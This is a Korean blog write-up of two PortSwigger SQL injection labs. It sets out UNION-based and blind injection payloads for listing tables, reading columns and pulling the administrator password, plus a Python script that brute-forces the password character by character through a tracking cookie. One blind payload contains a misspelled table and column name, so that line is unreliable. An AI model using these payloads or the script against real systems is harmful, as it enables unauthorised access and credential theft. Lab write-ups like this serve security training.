ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [A03:2021 - Injection] SQL Injection을 이용한 사용자 계정 정보 탈취 - Blind SQL Injection, General SQL Injection
    Hacking/CTF 문제 풀이 2025. 6. 17. 23:10
    728x90
    반응형

    SQL Injection은 사용자의 입력값을 검증하지 않고 SQL 쿼리에 그대로 포함시켜 실행되는 보안 취약점으로 의도하지 않은 쿼리를 주입(Injection)하여 데이터를 탈취하거나 조작하는 공격입니다.

    최근에는 다양한 방어 기법과 ORM 기술들이 적용되며 SQL Injection에 대한 대응이 개선되고 있지만 레거시 시스템에서는 여전히 이 취약점이 존재하는 경우가 많습니다.


    특히 오래된 프로젝트는 구조적으로 보안 업데이트가 어려운 경우가 많아 현실적인 보안 리스크로 여겨지고 있습니다.

    이러한 이유로 OWASP Top 10에서도 Injection은 가장 심각하고 빈번하게 발생하는 보안 취약점 중 하나로 분류되어 3위(A03:2021)를 차지하고 있습니다.
    해당 항목에는 SQL Injection뿐 아니라 Cross-site Scripting(XSS) 등 다양한 삽입형 취약점들이 포함됩니다.

    • A03:2021-Injection : slides down to the third position. 94% of the applications were tested for some form of injection, and the 33 CWEs mapped into this category have the second most occurrences in applications. Cross-site Scripting is now part of this category in this edition.
     

    OWASP Top Ten | OWASP Foundation

    The OWASP Top 10 is the reference standard for the most critical web application security risks. Adopting the OWASP Top 10 is perhaps the most effective first step towards changing your software development culture focused on producing secure code.

    owasp.org

     

    본 글에서는 Non-Oracle 데이터베이스를 대상으로 한 SQL Injection 실습을 통해 실제로 어떻게 정보 탈취가 발생할 수 있는지 살펴봅니다.


    General SQL Injection

    어플리케이션 레벨에서 반환된 결과를 반환하는 경우를 말합니다.

    실습 개요

    본 실습은 PortSwigger에서 제공하는 SQL Injection 실습 문제를 바탕으로 진행되었으며 Oracle 이외의 DBMS를 사용하는 환경을 대상으로 합니다.

    • 문제 : Lab: SQL injection attack, listing the database contents on non-Oracle databases
    • 목표 : 사용자 계정 정보를 저장하고 있는 테이블을 식별하고, 관리자 계정을 탈취하여 로그인
    • 조건 : product category 필터 기능에 SQL Injection 취약점이 존재
     

    Web Application Security, Testing, & Scanning - PortSwigger

    PortSwigger offers tools for web application security, testing, & scanning. Choose from a range of security tools, & identify the very latest vulnerabilities.

    portswigger.net

    1단계. 쿼리 컬럼 수 파악

    먼저 UNION SELECT를 이용한 공격을 수행하기 위해 원래 실행되는 쿼리의 컬럼 수를 파악합니다.

    • ' union select null, null -- 이런식으로 작성하여 수를 파악할 수 있습니다.
    # 정상 응답
    https://test.com/filter?category=' order by 1 --
    
    # 정상 응답
    https://test.com/filter?category=' order by 2 --
    
    # 오류 발생
    https://test.com/filter?category=' order by 3 --
    • 오류가 발생하는 지점으로부터 쿼리는 2개의 컬럼을 반환하고 있다는 사실을 알 수 있습니다.

    2 단계. 테이블 목록 추출

    MySQL, Microsoft, PostgreSQL 중 하나라고 가정하고 information_schema.tables에서 테이블 목록을 추출합니다.

    • Oracle : ' union select table_name, null from all_tables --
    • 나머지는 동일합니다.
    • 주의사항으로는 컬럼의 타입도 맞아야 하기 때문에 오류가 발생한다면 컬럼의 위치를 바꿔줘야 합니다.
    https://test.com/filter?category=' UNION SELECT table_name, null FROM information_schema.tables --

     📖 결과 예시

    pg_partitioned_table
    pg_available_extension_versions
    pg_shdescription
    user_defined_types
    users_mhtybl
    ...
    • 결과 중 user, member 등의 키워드를 포함하는 테이블이 여러 개 확인되었습니다.

    3 단계. 컬럼 정보 확인

    계정 정보를 담고 있을 가능성이 있는 테이블들에 대해 컬럼 정보를 확인합니다.

    • 이 과정이 가장 오래 걸렸습니다...
    • Oracle : ' union select column_name, null from all_tab_columns where table_name = 'USER_DDTL' --
    • 나머지는 동일합니다.
    https://test.com/filter?category=' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name = 'users_mhtybl' --

    📖 결과 예시

    username_scgepf
    email
    password_kszhqp

    4 단계. 계정 정보 탈취

    확인한 컬럼명을 이용하여 관리자 계정을 탈취합니다.

    https://test.com/filter?category=' UNION SELECT username_scgepf, password_kszhqp FROM users_mhtybl WHERE username_scgepf = 'administrator' --

    📖 결과 예시

    administrator
    ssbft94kly12p86stzj6

    Blind SQL Injection

    어플리케이션 레벨에서 반환 값의 유무에 따라 UI 반응을 다르게 출력하는 경우입니다.

    쿼리의 실행 결과와 오류 메시지를 숨길 수 있지만 제대로 된 검증이 없는 경우 아래와 같은 취약점이 발생합니다.

    실습 개요

    본 실습은 PortSwigger에서 제공하는 SQL Injection 실습 문제를 바탕으로 진행됩니다.

    • 문제 : Lab: Blind SQL injection with conditional responses
    • 목표 : Cookie : TrackingId를 조작하여 관리자 계정을 탈취하여 로그인
    • 조건 1 : 계정 정보는 users 테이블에 존재하며 username, password 컬럼이 존재
    • 조건 2 : 반환 값이 있는 경우 Welcome back! 이라는 문자 출력

    1 단계. 취약점 확인 및 쿼리 구조 파악

    asdf' and 1=1 --
    • Welcome back!이 표시되면 조건이 참(true)인 경우 UI가 변경된다는 것을 확인할 수 있습니다.
    asdf' and 1=2 --
    • 반대로 AND 1=2 와 같이 거짓 조건을 주면 문구가 사라집니다.

    즉 TrackingId 값이 내부적으로 WHERE 절의 조건에 포함되어 있다는것을 알 수 있습니다.

    2 단계. 타겟 정보 구조 추론

    목표는 users 테이블에서 username='administrator' 인 사용자의 password 값을 알아내는 것입니다.

    우선은 계정의 비밀번호 길이부터 확인해 보는것이 좋습니다.

    asdf' and LENGTH((select password from users where username ='administrator')) = 20 --
    • 길이가 20일 경우 Welcome back! 문구가 응답됩니다.
    • 참/거짓 여부를 통해 길이를 하나씩 추론할 수 있습니다.

    3단계. 문자 하나씩 추출

    이제 진정한 노가다성 해킹이 발생하기 때문에 왠만하면 스크립트를 작성하여 자동화하는것이 좋습니다.

    asdf' and SUBSTRING((select password from usernmae where usernmae = 'administrator'), 1, 1) = 'a' --
    • 비밀번호의 첫 번째 글자가 'a'인지 여부를 묻는 쿼리입니다.
    • 이 방식으로 알파벳, 숫자, 특수문자를 반복해서 대입하며 문자 하나씩 찾아갑니다.

    자동화 스크립트

    해당 스크립트는 python으로 가장 기본적으로 작성했습니다.

    import requests
    
    url = "https://test.com/"
    
    base_cookie_value = "qIRSflLXxSCkFGe0"
    
    # 이건 테스트를 통해 알아내야 합니다.
    true_length = 11489
    
    charset = "abcdefghijklmnopqrstuvwxyz0123456789"
    
    found_password = ""
    max_password_length = 20
    
    for position in range(1, max_password_length + 1):
        found = False
        for char in charset:
    
            injection = f"{base_cookie_value}' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'),{position},1)='{char}'--"
    
            cookies = {
                "TrackingId": injection
            }
    
            response = requests.get(url, cookies=cookies)
    
            if len(response.text) == true_length:
                found_password += char
                print(f"찾은 글자 {position}: {char}")
                found = True
                break
    
        if not found:
            print(f"없는데요? {position}. Ending.")
            break
    
    print(f"\n최종 비밀번호 : {found_password}")

    4단계. 전체 비밀번호 탈취

    위 단계를 반복해 20자리 비밀번호를 완성할 수 있습니다.

    728x90
    반응형
Designed by Tistory.